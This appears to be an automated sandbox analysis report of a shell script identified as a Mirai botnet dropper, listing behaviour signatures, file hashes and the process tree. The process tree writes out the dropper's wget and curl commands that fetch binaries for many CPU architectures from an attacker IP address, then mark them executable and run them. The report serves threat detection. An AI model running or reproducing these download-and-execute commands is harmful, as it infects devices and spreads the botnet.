Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21-01-2025 21:07

General

  • Target

    ohshit.sh

  • Size

    3KB

  • MD5

    d91a756fa0b51d26ca560e689c65f02a

  • SHA1

    dca13e8c0ff369c8850b09e06eb9aecde38da7ad

  • SHA256

    4f1c0d593b90f06aadb41e43d72dabe8a57d52df99bdfbf67db6e2e3aecdfdcf

  • SHA512

    5386d2bb591a257c64e71563c16435bf9f606d813031417233700d22e0b31bad1f33f73ae7ef581033c3c1633ca9b897d162a64019fc415ba6d9505a7b7f8533

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:663
    • /usr/bin/wget
      wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.x86
      2⤵
      • Writes file to tmp directory
      PID:671
    • /usr/bin/curl
      curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:680
    • /bin/cat
      cat uqwodquojqoqdo.x86
      2⤵
        PID:689
      • /bin/chmod
        chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.x86
        2⤵
        • File and Directory Permissions Modification
        PID:691
      • /tmp/oqweoqeqq
        ./oqweoqeqq
        2⤵
        • Executes dropped EXE
        PID:692
      • /usr/bin/wget
        wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:696
      • /usr/bin/curl
        curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:700
      • /bin/cat
        cat uqwodquojqoqdo.mips
        2⤵
        • System Network Configuration Discovery
        PID:702
      • /bin/chmod
        chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.mips uqwodquojqoqdo.x86
        2⤵
        • File and Directory Permissions Modification
        PID:703
      • /tmp/oqweoqeqq
        ./oqweoqeqq
        2⤵
        • Executes dropped EXE
        PID:704
      • /usr/bin/wget
        wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arc
        2⤵
        • Writes file to tmp directory
        PID:706
      • /usr/bin/curl
        curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arc
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:707
      • /bin/cat
        cat uqwodquojqoqdo.arc
        2⤵
          PID:716
        • /bin/chmod
          chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.mips uqwodquojqoqdo.x86
          2⤵
          • File and Directory Permissions Modification
          PID:718
        • /tmp/oqweoqeqq
          ./oqweoqeqq
          2⤵
          • Executes dropped EXE
          PID:720
        • /usr/bin/wget
          wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.i468
          2⤵
            PID:722
          • /usr/bin/curl
            curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.i468
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:726
          • /bin/cat
            cat uqwodquojqoqdo.i468
            2⤵
              PID:730
            • /bin/chmod
              chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.i468 uqwodquojqoqdo.mips uqwodquojqoqdo.x86
              2⤵
              • File and Directory Permissions Modification
              PID:731
            • /tmp/oqweoqeqq
              ./oqweoqeqq
              2⤵
              • Executes dropped EXE
              PID:733
            • /usr/bin/wget
              wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.i686
              2⤵
                PID:734
              • /usr/bin/curl
                curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.i686
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:738
              • /bin/cat
                cat uqwodquojqoqdo.i686
                2⤵
                  PID:742
                • /bin/chmod
                  chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:744
                • /tmp/oqweoqeqq
                  ./oqweoqeqq
                  2⤵
                  • Executes dropped EXE
                  PID:745
                • /usr/bin/wget
                  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.x86_64
                  2⤵
                    PID:746
                  • /usr/bin/curl
                    curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.x86_64
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:751
                  • /bin/cat
                    cat uqwodquojqoqdo.x86_64
                    2⤵
                      PID:759
                    • /bin/chmod
                      chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
                      2⤵
                      • File and Directory Permissions Modification
                      PID:761
                    • /tmp/oqweoqeqq
                      ./oqweoqeqq
                      2⤵
                      • Executes dropped EXE
                      PID:763
                    • /usr/bin/wget
                      wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:765
                    • /usr/bin/curl
                      curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.mpsl
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:770
                    • /bin/cat
                      cat uqwodquojqoqdo.mpsl
                      2⤵
                        PID:775
                      • /bin/chmod
                        chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:776
                      • /tmp/oqweoqeqq
                        ./oqweoqeqq
                        2⤵
                        • Executes dropped EXE
                        PID:777
                      • /usr/bin/wget
                        wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:780
                      • /usr/bin/curl
                        curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:781
                      • /bin/cat
                        cat uqwodquojqoqdo.arm
                        2⤵
                          PID:782
                        • /bin/chmod
                          chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:783
                        • /tmp/oqweoqeqq
                          ./oqweoqeqq
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Writes file to system bin folder
                          • Reads runtime system information
                          PID:784
                        • /usr/bin/wget
                          wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:788
                        • /usr/bin/curl
                          curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm5
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:789
                        • /bin/cat
                          cat uqwodquojqoqdo.arm5
                          2⤵
                            PID:794
                          • /bin/chmod
                            chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
                            2⤵
                            • File and Directory Permissions Modification
                            PID:795
                          • /tmp/oqweoqeqq
                            ./oqweoqeqq
                            2⤵
                            • Executes dropped EXE
                            PID:796
                          • /usr/bin/wget
                            wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:797
                          • /usr/bin/curl
                            curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm6
                            2⤵
                            • Checks CPU configuration
                            • Writes file to tmp directory
                            PID:803
                          • /bin/cat
                            cat uqwodquojqoqdo.arm6
                            2⤵
                              PID:809
                            • /bin/chmod
                              chmod +x ohshit.sh oqweoqeqq systemd-private-3b25413c2170426497b63d871f25f6b2-systemd-timedated.service-GkC3BT uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.arm6 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:811
                            • /tmp/oqweoqeqq
                              ./oqweoqeqq
                              2⤵
                              • Executes dropped EXE
                              • Reads runtime system information
                              PID:812
                            • /usr/bin/wget
                              wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:814
                            • /usr/bin/curl
                              curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.arm7
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:821
                            • /bin/cat
                              cat uqwodquojqoqdo.arm7
                              2⤵
                                PID:831
                              • /bin/chmod
                                chmod +x ohshit.sh oqweoqeqq uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.arm6 uqwodquojqoqdo.arm7 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:832
                              • /tmp/oqweoqeqq
                                ./oqweoqeqq
                                2⤵
                                • Executes dropped EXE
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:833
                              • /usr/bin/wget
                                wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:838
                              • /usr/bin/curl
                                curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.ppc
                                2⤵
                                • Checks CPU configuration
                                • Writes file to tmp directory
                                PID:842
                              • /bin/cat
                                cat uqwodquojqoqdo.ppc
                                2⤵
                                  PID:843
                                • /bin/chmod
                                  chmod +x ohshit.sh oqweoqeqq uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.arm6 uqwodquojqoqdo.arm7 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.ppc uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:844
                                • /tmp/oqweoqeqq
                                  ./oqweoqeqq
                                  2⤵
                                  • Executes dropped EXE
                                  PID:845
                                • /usr/bin/wget
                                  wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:847
                                • /usr/bin/curl
                                  curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.spc
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:848
                                • /bin/cat
                                  cat uqwodquojqoqdo.spc
                                  2⤵
                                    PID:849
                                  • /bin/chmod
                                    chmod +x ohshit.sh oqweoqeqq uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.arm6 uqwodquojqoqdo.arm7 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.ppc uqwodquojqoqdo.spc uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:850
                                  • /tmp/oqweoqeqq
                                    ./oqweoqeqq
                                    2⤵
                                    • Executes dropped EXE
                                    PID:851
                                  • /usr/bin/wget
                                    wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:853
                                  • /usr/bin/curl
                                    curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.m68k
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:854
                                  • /bin/cat
                                    cat uqwodquojqoqdo.m68k
                                    2⤵
                                      PID:855
                                    • /bin/chmod
                                      chmod +x ohshit.sh oqweoqeqq uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.arm6 uqwodquojqoqdo.arm7 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.m68k uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.ppc uqwodquojqoqdo.spc uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:856
                                    • /tmp/oqweoqeqq
                                      ./oqweoqeqq
                                      2⤵
                                      • Executes dropped EXE
                                      PID:857
                                    • /usr/bin/wget
                                      wget http://107.172.51.228/hiddenbin/uqwodquojqoqdo.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:859
                                    • /usr/bin/curl
                                      curl -O http://107.172.51.228/hiddenbin/uqwodquojqoqdo.sh4
                                      2⤵
                                      • Checks CPU configuration
                                      • Writes file to tmp directory
                                      PID:860
                                    • /bin/cat
                                      cat uqwodquojqoqdo.sh4
                                      2⤵
                                        PID:861
                                      • /bin/chmod
                                        chmod +x ohshit.sh oqweoqeqq uqwodquojqoqdo.arc uqwodquojqoqdo.arm uqwodquojqoqdo.arm5 uqwodquojqoqdo.arm6 uqwodquojqoqdo.arm7 uqwodquojqoqdo.i468 uqwodquojqoqdo.i686 uqwodquojqoqdo.m68k uqwodquojqoqdo.mips uqwodquojqoqdo.mpsl uqwodquojqoqdo.ppc uqwodquojqoqdo.sh4 uqwodquojqoqdo.spc uqwodquojqoqdo.x86 uqwodquojqoqdo.x86_64
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:862
                                      • /tmp/oqweoqeqq
                                        ./oqweoqeqq
                                        2⤵
                                        • Executes dropped EXE
                                        PID:863

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/oqweoqeqq

                                      Filesize

                                      23KB

                                      MD5

                                      553fbff4e8c1e5b9468cc5d81f47f451

                                      SHA1

                                      4c65f38b9adca335e1185d23447bbb3e4b61dbc6

                                      SHA256

                                      1ee8b2996d1ceb800d962878c83e6bf8ef67f3ea1bcba0cba0d49b31b3596336

                                      SHA512

                                      d3f9c1494e85673583ab60f697395de05e200006f03b1bfacd7ef0e17488d09c81e908266f765bb7c84771cfb39957f66350509c9b566d5ea50130763deadf85

                                    • /tmp/oqweoqeqq

                                      Filesize

                                      105KB

                                      MD5

                                      8a0eb12f131a868513eacb61b4c8fb62

                                      SHA1

                                      fbac5d15efd4502f89b515693906d772f5711855

                                      SHA256

                                      4f54d6dc5fdca9535fc7ff25709e90936d1fb9ed6d52302bc5aab624ea4a6fed

                                      SHA512

                                      04e242e0d2d023f70ec1da3624d01054bbca46476463e4f0bba3ce738449c660edcd0753dc96a887f4e81bd3086b87253e2ecc02644e5afc9646f9da60c25a72

                                    • /tmp/oqweoqeqq

                                      Filesize

                                      227B

                                      MD5

                                      7aec1ea74a5502ca7b6c9047970a4c5c

                                      SHA1

                                      61c91074e6071c8a3bda8433d412eeead2843d78

                                      SHA256

                                      2ec2f59ef2aaaaaa0d7e8241aa00f54ff05f3cbb7a2d3544611e495b7e55c779

                                      SHA512

                                      9ce37859d0e886cfe84ca449cbfd7308a68cec348b01f60a15f3fd69ccb38c05857791a0441d3dec06d3db6872d7bbca823b9db93848534bae03be6e8d45b709

                                    • /tmp/oqweoqeqq

                                      Filesize

                                      227B

                                      MD5

                                      cfa7530bf969f685bd8b26dbf7518d77

                                      SHA1

                                      209b6a5988243b82d8fd0c8e6bc4452d0aa6140f

                                      SHA256

                                      69e43487c004f9d71ce95fefae25bd50b23c199bfe0d73e04a7b56d2e3327e20

                                      SHA512

                                      e92c83dd5112e9d8fa92919aeea85e8c3cc10e64901e207d326f9815fd665ca922494199f4f399b2040b8e62e0e3af00411cc759866735aa255cd04f67d3574c

                                    • /tmp/oqweoqeqq

                                      Filesize

                                      57KB

                                      MD5

                                      405f165092be3a00be30fc086d128883

                                      SHA1

                                      95a5dc07ff75bb2a545e0f64a5dba0f571f8336b

                                      SHA256

                                      067156679583ce84ad5e7329f087a7b3b27f15d69336135f992d03179c614947

                                      SHA512

                                      cf70bc7bd4ab0c7da644ed0742714e7ee292645ade1a090f4f763ff8d10d7cd71fa6b826487b33a906e7ec228876cbed5259aba20a3504adc377e77e705e499f

                                    • /tmp/uqwodquojqoqdo.x86

                                      Filesize

                                      20KB

                                      MD5

                                      313c4b235e0e62ca38eb04bfa7677e44

                                      SHA1

                                      c31d5d0c0fa4bfa4ea2837cede424504c68ccfd3

                                      SHA256

                                      dfd6f81327b03f5336895c6bed7bfff178a054eafef5637ccb74e7a0ac4ef4c4

                                      SHA512

                                      0bf52b087e48b6daac55f735ae5b5af7626322db3200e72c61755d6b80234c503a02f3e35b340b70d1731fdec2054f530251504dec55497ca5877f9233ff54ad